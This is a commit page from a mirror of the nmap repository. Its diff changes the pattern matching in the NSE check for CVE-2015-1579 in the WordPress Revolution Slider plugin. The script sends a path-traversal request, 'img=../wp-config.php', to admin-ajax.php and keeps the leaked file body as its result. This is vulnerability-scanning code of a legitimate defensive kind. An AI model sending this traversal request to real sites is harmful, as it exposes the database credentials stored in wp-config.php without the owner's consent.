CERBERUS/nmap
1
0
Fork 0
mirror of https://github.com/nmap/nmap.git synced 2026-08-30 05:37:05 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions 1

Matching pattern changed

Browse source
This commit is contained in:
rewanth1997 2017-03-19 16:49:44 +05:30
parent 88c0bc9da2
commit 3bcd059c58
1 changed files with 1 additions and 3 deletions
Download patch file Download diff file Expand all files Collapse all files

4
scripts/http-vuln-cve2015-1579.nse
View file

@ -60,8 +60,6 @@ action = function(host, port)
local vulnPath = "wp-admin/admin-ajax.php"
local vulnParams = "action=revslider_show_image&img=../wp-config.php"
local pattern = "<?php"
-- Exploiting the vulnerability
local response = http.get( host, port, uri..vulnPath.."?"..vulnParams )
@ -97,7 +95,7 @@ action = function(host, port)
}
-- Matching the patern in the response
if( string.match(response.body, pattern) ) then
if( string.match(response.body, (("<?php"):gsub("%p","%%%0"))) ) then
vuln.state = vulns.STATE.EXPLOIT
vuln.exploit_results = response.body
return vulnReport:make_output(vuln)